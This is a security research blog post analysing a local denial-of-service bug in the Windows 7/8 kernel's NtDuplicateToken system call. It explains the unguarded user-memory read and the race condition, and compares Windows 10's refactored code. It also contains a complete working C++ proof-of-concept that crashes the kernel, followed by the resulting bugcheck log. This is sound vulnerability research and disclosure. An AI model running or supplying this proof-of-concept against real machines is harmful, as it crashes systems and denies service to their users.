This is the third post in a series about unpatched local Windows Kernel Denial-of-Service bugs. The list of previous posts published so far is as follows:
- Windows Kernel Local Denial-of-Service #2: win32k!NtDCompositionBeginFrame (Windows 8-10)
- Windows Kernel Local Denial-of-Service #1: win32k!NtUserThunkedMenuItemInfo (Windows 7-10)
As opposed to the two issues discussed before, today’s bug is not in the graphical subsystem (win32k.sys), but in the core kernel module: ntoskrnl.exe, and more specifically in the handler of the nt!NtDuplicateToken
system call (under the same name). An equivalent bug can also be found in the nt!NtCreateToken
system call, but since it requires the SeCreateTokenPrivilege privilege, it cannot be triggered by a regular user, and hence is not of much interest to us.
According to MSDN, the definition of the syscall is as follows:
The vulnerability in question is caused by an unprotected access to the user-controlled pointer passed through the ObjectAttributes
parameter. In fact, the argument is referenced several times in the system call handler; first, it is passed down to the nt!SeCaptureSecurityQos
routine, and later to nt!SepDuplicateToken
. In both those cases, reading from the memory area is guarded by the necessary try/except blocks. However, there is also a third read performed directly in the top-level syscall handler:
The short assembly snippet can be translated to the following C code:
if (ObjectAttributes == NULL || ObjectAttributes->SecurityDescriptor == NULL) { SepAppendAdminAceToTokenAcl(Token); }
Here, there is no exception handling enabled, meaning that if we manage to get the access to the SecurityDescriptor
field to fail, the whole system will crash with a BSoD. In order to trigger the condition, we have to perform a race condition attack: while the initial accesses to user-mode memory should succeed, the last one should yield an exception. Therefore, the relevant memory area must be locked or unmapped within the small window between the respective memory reads. As a side effect, the exploit works most reliably on machines with two or more CPU cores.
Interestingly, while the bug was present in Windows 7 and 8, it got refactored out in Windows 10. In the latest version of the operating system, the corresponding code construct is quite different:
As we can see, instead of dereferencing the ObjectAttributes
input argument, the function only tests a local var_1A
variable (which is beyond the direct control of user-mode). Where is the variable initialized? As it turns, in a newly introduced SeCaptureObjectAttributeSecurityDescriptorPresent
function:
The sole purpose of this new routine is to sanitize the ObjectAttributes
pointer, check that it is not NULL and that the SecurityDescriptor
field is also not NULL. If all these conditions are met, the var_1A
variable is set to 1, and otherwise it remains equal to 0. This simple refactoring eliminates both the double-fetch condition (which doesn’t appear to be too dangerous here), and the unhandled access of user-mode memory.
Anyway, a final working proof-of-concept code for Windows 7 and 8 is shown below:
#include <Windows.h> #include <winternl.h> #include <cstdio> extern "C" NTSTATUS WINAPI NtDuplicateToken( _In_ HANDLE ExistingTokenHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ BOOLEAN EffectiveOnly, _In_ TOKEN_TYPE TokenType, _Out_ PHANDLE NewTokenHandle ); namespace globals { POBJECT_ATTRIBUTES Attributes; } // namespace globals DWORD ThreadRoutine(LPVOID lpParameter) { DWORD flOldProtect; // Indefinitely alternate between R/W and NOACCESS rights. while (1) { VirtualProtect(globals::Attributes, sizeof(OBJECT_ATTRIBUTES), PAGE_NOACCESS, &flOldProtect); VirtualProtect(globals::Attributes, sizeof(OBJECT_ATTRIBUTES), PAGE_READWRITE, &flOldProtect); } } int main() { // Open the current process token. HANDLE hToken; BOOL st = OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &hToken); if (!st) { printf("OpenThreadToken failed, %d\n", GetLastError()); return 1; } // Allocate memory for the structure whose privileges are being flipped. globals::Attributes = (POBJECT_ATTRIBUTES)VirtualAlloc(NULL, sizeof(OBJECT_ATTRIBUTES), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); globals::Attributes->Length = sizeof(OBJECT_ATTRIBUTES); // Create the racing thread. CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadRoutine, NULL, 0, NULL); // Infinite loop trying to trigger the unhandled exception. while (1) { HANDLE hNewToken; NTSTATUS ntst = NtDuplicateToken(hToken, TOKEN_QUERY, globals::Attributes, TRUE, TokenPrimary, &hNewToken); if (NT_SUCCESS(ntst)) { CloseHandle(hNewToken); } else if (ntst != STATUS_ACCESS_VIOLATION) { printf("NtDuplicateToken failed, %x\n", ntst); CloseHandle(hToken); return 1; } } return 0; }
Starting the above program on Windows 7 32-bit triggers the following blue screen:
The full crash summary is as follows:
KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e) This is a very common bugcheck. Usually the exception address pinpoints the driver/function that caused the problem. Always note this address as well as the link date of the driver/image that contains this address. Some common problems are exception code 0x80000003. This means a hard coded breakpoint or assertion was hit, but this system was booted /NODEBUG. This is not supposed to happen as developers should never have hardcoded breakpoints in retail code, but ... If this happens, make sure a debugger gets connected, and the system is booted /DEBUG. This will let us see why this breakpoint is happening. Arguments: Arg1: c0000005, The exception code that was not handled Arg2: 81885cd3, The address that the exception occurred at Arg3: a3057b28, Trap Frame Arg4: 00000000 Debugging Details: ------------------ EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. FAULTING_IP: nt!NtDuplicateToken+230 81885cd3 395810 cmp dword ptr [eax+10h],ebx TRAP_FRAME: a3057b28 -- (.trap 0xffffffffa3057b28) ErrCode = 00000000 eax=000d0000 ebx=00000000 ecx=d334d923 edx=acc30e20 esi=a334cc50 edi=00000000 eip=81885cd3 esp=a3057b9c ebp=a3057c14 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206 nt!NtDuplicateToken+0x230: 81885cd3 395810 cmp dword ptr [eax+10h],ebx ds:0023:000d0010=00000000 Resetting default scope DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT BUGCHECK_STR: 0x8E PROCESS_NAME: NtDuplicateTok CURRENT_IRQL: 2 ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre LAST_CONTROL_TRANSFER: from 816f3dff to 8168f9d8 STACK_TEXT: a30570dc 816f3dff 00000003 7031a80f 00000065 nt!RtlpBreakWithStatusInstruction a305712c 816f48fd 00000003 a3057530 00000000 nt!KiBugCheckDebugBreak+0x1c a30574f0 816f3c9c 0000008e c0000005 81885cd3 nt!KeBugCheck2+0x68b a3057514 816c92f7 0000008e c0000005 81885cd3 nt!KeBugCheckEx+0x1e a3057ab8 81652996 a3057ad4 00000000 a3057b28 nt!KiDispatchException+0x1ac a3057b20 8165294a a3057c14 81885cd3 badb0d00 nt!CommonDispatchException+0x4a a3057bdc 8185e289 aac8efc0 00000034 acc30d01 nt!KiExceptionExit+0x192 a3057c14 81651db6 00000008 00000008 000d0000 nt!ObpCloseHandle+0x7f a3057c14 77946c74 00000008 00000008 000d0000 nt!KiSystemServicePostCall 0031fcc4 7794547c 013955eb 0000002c 00000008 ntdll!KiFastSystemCallRet 0031fcc8 013955eb 0000002c 00000008 000d0000 ntdll!ZwDuplicateToken+0xc 0031fde8 0139240a 00000001 004f7ba8 004f7bf8 NtDuplicateToken!main+0xeb 0031fe34 013925ed 0031fe48 7786ef1c 7ffdf000 NtDuplicateToken!__tmainCRTStartup+0x11a 0031fe3c 7786ef1c 7ffdf000 0031fe88 7796367a NtDuplicateToken!mainCRTStartup+0xd 0031fe48 7796367a 7ffdf000 77a51ab2 00000000 kernel32!BaseThreadInitThunk+0xe 0031fe88 7796364d 0138fcbc 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70 0031fea0 00000000 0138fcbc 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b
8 thoughts on “Windows Kernel Local Denial-of-Service #3: nt!NtDuplicateToken (Windows 7-8)”
Comments are closed.